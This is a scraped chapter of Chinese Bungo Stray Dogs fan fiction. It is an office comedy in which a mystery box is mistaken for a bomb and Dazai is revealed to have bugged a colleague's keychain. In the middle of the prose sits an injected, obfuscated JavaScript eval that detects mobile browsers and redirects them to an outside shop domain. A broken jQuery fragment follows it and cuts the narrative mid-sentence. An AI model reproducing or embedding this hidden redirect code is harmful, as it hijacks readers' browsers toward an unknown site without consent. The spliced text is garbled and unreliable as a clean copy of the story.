文趣网 > 都市小说 > 倒霉社畜就职武装侦探社 > 51.报废的第五十一支笔
    走廊里的空气仿佛凝固了起来,将门外的国木田、千绪,以及门内的中岛敦封印在了原地。

    中岛敦的手依然搭在玻璃门的金属把手上,眼睛在面前两人之间来回扫视。

    他试图从国木田那僵硬得如同雕像般的表情,以及千绪手中那个被捏得变了形的红豆面包上寻找一些线索,但最终除了更加强烈的“自己好像不该出现”的直觉外,一无所获。

    “国木田先生……”敦小心翼翼地咽了口唾沫,有些不确定地问,“是……有敌人袭击吗?”

    国木田的喉结艰难地上下滚动了一下。他该怎么向这个后辈解释,就在一分钟前,他因为一个不知道是什么玩意儿的铁盒子发出一声微弱的“滴”声,就犹如惊弓之鸟般将社里呢文员扑倒在地?

    “没……”国木田刚吐出一个音节,试图维持住最后一点身为前辈的尊严。

    “真是的,大清早的就在门口大喊大叫‘趴下’什么的,我还以为太宰又想出了什么新的自杀方式,或者又有哪个不长眼的黑|手党来踢馆了呢。”

    一个穿着棕色侦探斗篷的身影从敦的身后探出了半个身子。

    江户川乱步,武装侦探社的“灵魂”,世界第一的名侦探,此刻正把半张脸埋在一个超大号的薯片袋子里,腮帮子鼓鼓囊囊地嚼动着。

    他那双平时总是像猫一样眯着的眼睛,此刻正透过薯片袋子的边缘,将门外的三个人,连同地毯上的每一丝灰尘都扫视了一遍。

    空气在那一瞬间安静了不到半秒。

    “噗,咳咳咳——”

    乱步差点把薯片渣喷出来,但他忍住了,随后把嘴里的东西咽下去后,一阵毫不掩饰的夸张笑声在侦探社的走廊里回荡开来。

    “哈哈哈哈哈哈!不行了不行了,国木田,你的表情也太好笑了吧!”乱步笑得前仰后合,甚至一手捂住了肚子,另一只手里的薯片袋子都差点掉在地上。

    他那双总是眯着的翠绿色眼睛此刻更是弯成了两道月牙,眼角甚至挤出了一点生理性的泪花。

    “乱、乱步先生!”国木田的脸瞬间涨得通红,那种红晕甚至蔓延到了脖子根。他刚才努力维持的严肃,在乱步的狂笑声中犹如被针戳破的气球,瞬间干瘪下去。

    他慌乱地推了一下鼻梁上有些歪斜的眼镜,试图为自己刚才的战术动作进行辩护:“这、这绝对不是什么好笑的事情!这个金属匣子刚才发出了类似于倒计时启动的声音,为了以防万一……”

    “以防万一?哈哈哈哈!”乱步毫不客气地打断了国木田那干巴巴的辩解。他从拍了拍手上的薯片碎屑,然后随意地指着国木田手里提着的那个小方块。

    他收敛了一点脸上的狂笑,像是在给一群笨蛋学生上课的老师一样,语气中带上了一丝天才特有的不屑一顾。

    “拜托,国木田,你那双眼睛是用来当摆设的吗?那个盒子里面装的是□□,一旦引爆,那种厚度的外壳根本无法形成有效的破片杀伤,反而会把大部分能量闷死在里面。”

    乱步说完,又把手伸进了薯片袋子里,掏出一大片薯片塞进嘴里。

    “……”

    走廊里陷入了长达十秒的死寂。

    “……”

    国木田此刻整个人就像是被抽干了力气的木偶。

    刚才那种“为了保护后辈不惜牺牲自己”的悲壮感,最终只剩下了一种无地自容的社死感。

    “也就是……说……”国木田扶着额,“这东西……不是炸弹?”

    “当然不是!”乱步翻了个白眼,仿佛在看一个无可救药的笨蛋,“谁会用那种级别的材料去装炸弹啊?成本和收益完全不成正比好吗!”

    “原来是这样……”中岛敦在旁边听得似懂非懂,但他至少明白了一件事——没有危险了。他松了一口气,转头看向千绪,目光落在了她手里那个凄惨的面包上,“彼方小姐,你没事真是太好了。啊,不过你的早餐……”

    “啊,这个啊。”千绪看了一眼手里那个被捏成了某种奇怪抽象派艺术品的红豆面包,“没关系,反正它现在也是扁的,就当是铜锣烧吃吧。”

    国木田听到这句话,原本就通红的脸此刻简直要滴出血来。他僵硬地转过身,对着千绪深深地鞠了一躬,声音大得甚至在走廊里带出了一丝回音。

    “非!常!抱!歉!彼方千绪!由于我极其愚蠢和不理智的判断,不仅让你受到了惊吓,还破坏了你的早餐!我会承担全部责任,明天早晨我会为你准备一份完全符合健康标准的完美早餐作为赔偿!”

    “哎?不,真的不用了,国木田先生……”千绪被他这阵势吓了一跳,连连摆手,试图阻止这位前辈过于旺盛的责任心,“您也是为了保护我,我真的很感谢……”

    “好啦好啦,道歉的事情等会儿再说。”乱步不耐烦地挥了挥手,打断了这场在他看来毫无意义的推诿。

    他把吃空了的薯片袋子随手塞进旁边敦的怀里,然后伸出手。

    “国木田,别像个呆头鹅一样杵在那里了。”乱步舔了舔沾在嘴角的一点薯片碎屑,语调突然变得有些兴奋,像是一个迫不及待想要拆开圣诞礼物的孩子,“把它拿过来。”

    国木田愣了一下,下意识地看了一眼手里的匣子,然后抬起头看向乱步:“乱步先生,这东西虽然不是炸弹,但它表面的精密程度……”

    “我当然知道它不简单。”乱步迈出大门,走到国木田面前,自然地从他手里拿过了那个金属匣子。

    他将匣子举到齐眼的高度,眯着眼睛,仔细地观察着匣子侧面那些细微得如同蛛网般的感应纹路。

    “没有螺丝,没有焊接点,完全是一体成型的工艺。”乱步用食指轻轻刮了刮匣子表面。

    乱步将视线从匣子上移开,转向了一直站在旁边安静吃瓜的千绪。

    “呐,我说。”乱步微微睁开了他翠绿色的眼睛,“这东西,你是从哪里弄来的?”

    “那个……”

    千绪张了张嘴,刚准备将今天早上在法式面包坊门口的奇遇,以及那个差点把她砸出脑震荡的不明坠落物的前因后果,以一种尽量简洁且客观的方式陈述一遍。

    “算了,不用说了。”

    然而,千绪的话音还没来得及在走廊里完全成型,乱步就打断了她。

    “反正以你的体质,肯定是莫名其妙这样那样就捡到了对吧。”乱步挥了挥手,“回座位上去了。”

    他一边往办公区深处走去,一边把玩着这个金属匣子的,“没有解开这个之前,你们几个谁也不许来打扰我。国木田,特别是你!”

    “如果你敢因为那些无聊的报表来敲我的桌子,我就把你上个月因为算错小数点而急得掉头发的事情写进社内通讯里!”

    “乱、乱步先生!”国木田被这突如其来的背刺急得差点跳起来,但看着那个已经缩进椅子里、将匣子放在办公桌正中央开始研究的背影,他又只能将满腔的憋屈硬生生地咽回肚子里。

    毕竟,在武装侦探社,江户川乱步的意志,在某种程度上甚至比社长的命令还要绝对。

    既然名侦探大人已经宣布接管了那个危险物品,那他刚才因为判断失误而产生的愧疚和尴尬,似乎也就被这种不讲理的强行征用给冲淡了几分。

    门外的走廊里,只剩下国木田、千绪,以及依然有些不知所措的敦。

    千绪看了看手里那个被彻底捏扁的红豆面包,又看了看国木田那件沾着灰尘的马甲,正盘算着是不是该说点什么来打破这尴尬的局面,比如讨论一下这面包现在还能不能就着咖啡咽下去。

    就在这个时候,楼道远远的飘来了一阵轻飘飘的声音。

    “殉情~一个人是做不到的~?”

    “但是~如果是有着美丽眼眸的彼方小姐~说不定就会答应我呢~?”

    伴随着一阵完全不在调子上、却又被哼唱得无比陶醉的自编小曲,一个穿着沙色长风衣的高挑身影,晃晃悠悠地从楼梯走了出来。

    太宰治的双手插在风衣的口袋里,他那张好看的脸上挂着散漫的笑容,仿佛这个世界上没有任何事情能够打扰他在这个阳光明媚的早晨去寻找一条水温合适的河流。

    然后,他抬起头,和正准备推门进办公室的三个人,迎面撞了个正着。

    他那双鸢色的眼睛在千绪那件虽然整洁但明显有些折痕的外套、国木田刚刚因为羞愤而依然泛红的脸色、以及中岛敦手里那块湿漉漉的抹布上迅速地扫过。

    太宰脸上的笑容瞬间放大了数倍。

    “哎呀呀,这可真是……”

    太宰将手从口袋里抽了出来,夸张地捂住了自己的嘴巴,但那双眼睛里闪烁的戏谑光芒却像是探照灯一样直直地打在了国木田的脸上。

    “一大清早的,侦探社的门口就上演了这么一出充满着激烈肢体冲突、又夹杂着某种难以言喻的尴尬氛围的默剧吗?国木田君,你这副像被人当众揭穿了某个不可告人的秘密的狼狈模样……”

    太宰拖长了声音,语气里充满了那种气死人不偿命的幸灾乐祸。

    “该不会是,你终于因为长期的高压工作而精神崩溃,试图在走廊里对我们新来的文员小姐进行某种不符合你那本《理想》手账的野蛮指导吧?”

    “太宰——你这混蛋在胡说八道些什么?!”

    国木田的太阳穴上瞬间爆起了一根青筋。

    他那原本就已经处于崩溃边缘的神经,在听到太宰治这番毫无底线的诽谤后,终于彻底断裂。

    他甚至忘记了刚才的尴尬,大步向太宰走去,看那架势是想直接把那本厚重的手账本塞进太宰那张喋喋不休的嘴里。

    “这只是因为一个不明物体引发的战术规避动作!战术规避你懂吗?!而且我明明只是在尽一个前辈的责任保护后辈而已!”国木田咆哮着,声音震得走廊尽头的窗户玻璃都在微微颤抖。

    “是吗?”太宰灵活地向旁边侧了一下身子,躲过了国木田的逼近。他并没有理会国木田的怒火,只是随意地向左前方跨出了一步。

    就这么一个看似随意的动作,不仅完美地避开了国木田那差点怼到他脸上的《理想》手账本,还将自己与千绪之间的距离大幅度缩短。

    清晨的阳光在太宰那头微卷的深棕色头发上打出一层柔和的光晕。

    他微微低下头,沙色的风衣下摆因为动作的停止而在空气中划过一道利落的弧线。

    “早上的法式面包坊,那个草莓丹麦酥的味道怎么样?”太宰的声音几乎是在千绪的耳边响起。

    他甚至微微倾斜了身子,鼻尖似乎马上就要擦过千绪的脸颊,

    千绪看着那张突然在自己视线里放大数倍的俊脸。在这个距离下,她甚至能清晰地看到太宰脖子上那层层叠叠的白色绷带边缘因为呼吸而产生的细微起伏。

    但千绪的心跳并没有因为这种堪比少女漫名场面的拉近而有任何加速的迹象。相反,她的脑海中在短暂的宕机后,迅速地拉响了警报。

    草莓丹麦酥。法式面包坊。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571186|203964||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    今天早上她甚至连那家面包坊的门都没进去,只是在门口就把最后一个草莓丹麦酥让给了一个叫爱丽丝的吵闹金发小女孩,换来了一个现在已经在她手里变成一块扁平面团的红豆面包。

    这件事,发生在十几分钟前的街角,在这个除了她和那个带着小女孩的奇怪大叔之外,没有任何熟人在场的清晨。

    那么,太宰治是怎么知道的?

    千绪的目光落在自己通勤用的挎包上。那里面,除了被揉成一团的便利店收据,还静静地躺着一个上周被太宰塞进来的、造型猎奇的鸽子挂件。

    破案了。

    那只丑得让人看一眼都觉得污染视网膜的塑料鸽子里,之前就被这个行走的绷带浪费装置塞进了一个窃听器,只不过考虑到是保护她用的所以千绪不太在意。

    “太宰先生。”千绪的拿出了那个小挂件,“如果您对横滨的早餐物价指数如此关心的话,其实没必要采用那么耗费电池的方法,我可以每天下班前给您复印一份收银条。”

    太宰的眼睛微微亮了一下。

    “哎呀,当然……”

    太宰正准备回话,一只有力的大手突然从他身后伸出,带着一股凌厉的掌风,试图直接薅住他的衣领。

    “太宰!你这个混蛋在干什么?!”

    在国木田看来,两人的距离简直就是极其恶劣的、败坏侦探社名誉的职场性骚扰!他绝对不能容忍这种事情在侦探社的走廊里公然发生。

    “快点给我离彼方远一点!”国木田大步上前,像是一头发怒的棕熊,手账本被他死死地攥在另一只手里,随时准备给太宰那颗满是废料的脑袋来一下狠的。

    然而,太宰就像是一条涂满了润滑油的泥鳅。他甚至连头都没有回,只是在国木田的手指即将触碰到他衣领的瞬间,像是一片被风吹起的落叶般,轻飘飘地向后滑退了一步。

    “国木田君,你真是太暴力了,这样会找不到女朋友的哦。”太宰在距离千绪和国木田大约两步远的安全距离外停了下来,双手再次插回风衣口袋里,脸上又恢复了那种欠揍的灿烂笑容。

    国木田一击扑空,差点因为惯性向前踉跄了一步。他稳住身形,愤怒地推了一下眼镜,指着太宰的鼻子:“少给我转移话题!你刚才那种举动,如果彼方去报警的话,你绝对会被当成变态抓起来的!”

    “变态?”

    太宰听到这个词,仿佛听到了什么荒谬的笑话。他夸张地捂住胸口,做出一副受到了惊吓的样子,然后迅速将视线转回千绪身上。

    “彼方小姐,你可千万不要误会。我刚才靠那么近,完全是为了你的安全着想啊!”太宰的语气突然变得无比严肃,甚至带上了一丝痛心疾首,仿佛他真的是一个正在苦口婆心劝导迷途少女的知心大哥哥。

    虽然按年龄来算他其实还比千绪小上三岁。

    “你今天早上遇到的那个带着金发小女孩的男人,穿着白大衣,看起来一副很随和的大叔模样,对吧?”太宰的眼睛微微眯起,那种戏谑的光芒被一种深沉的恶意所取代,“彼方小姐,你可要听好了。”

    他深吸了一口气,然后用一种整个走廊都能听见的音量,郑重其事地宣布:

    “那个废柴大叔,是一个彻头彻尾的、无可救药的变态恋童癖!”

    走廊里的空气再次凝固了。

    连正在愤怒边缘的国木田都愣了一下。中岛敦更是瞪大了眼睛,仿佛听到了什么恐怖的都市传说。

    “你可能被他那副看起来像是医生的伪善外表给骗了。”太宰毫不留情地继续往森鸥外的形象上泼着黑泥,用词辛辣且充满画面感,“他最喜欢的就是到处诱拐像那个叫爱丽丝的小女孩一样可怜的孩子,然后把她们关在阴暗的房间里,强迫她们换上各种奇奇怪怪的洋装。

    “他的脑子里装满了能让最底层的罪犯都感到恶心的黄色废料。总而言之,那个大叔就是一个游走在人类道德底线边缘的渣滓!”

    太宰说完这番慷慨激昂的“科普”,还很嫌弃地拍了拍自己风衣的袖子,仿佛光是提到那个人,都会沾染上什么不洁的东西。

    千绪愣愣地看着太宰。

    她刚才只是觉得那个一直由着小女孩性子吵闹的大叔有点奇怪,但也只以为是过度溺爱孩子的普通家长。

    然而,在太宰这种充满了生动细节的惊悚描述下,那个穿着白大褂的男人的形象,在千绪的脑海中迅速从“溺爱女儿的父亲”变异成了“拿着棒棒糖在幼儿园门口徘徊的法外狂徒”。

    虽然理智告诉她,太宰治嘴里的话通常要打个对折再除以十才能信,但鉴于横滨这个城市本来就卧虎藏龙(比如自己眼前这个随身携带窃听器的绷带男),再多一个喜欢诱拐小女孩的变态恋童癖,似乎也不是什么难以接受的设定。

    最关键的是,安全第一。

    “呃……”千绪低头看了一眼自己手里那块已经凉透的面包面团,脑海里闪过那个叫爱丽丝的小女孩吃着草莓丹麦酥时开心的样子,不由得打了个寒颤。

    “好的,我知道了。”千绪认真地点了点头,语气中带着一种劫后余生的庆幸,“我会记住的。以后如果在街上再遇到那个大叔,我一定第一时间拨打报警电话,或者直接绕道走。”

    听到这个满意的回答,太宰脸上的阴霾瞬间一扫而空,重新绽放出了那种如阳光般灿烂的、甚至带着一丝孩子气的笑容。

    “这就对了嘛!彼方小姐果然是个懂得保护自己的聪明人!”太宰开心地拍了一下手。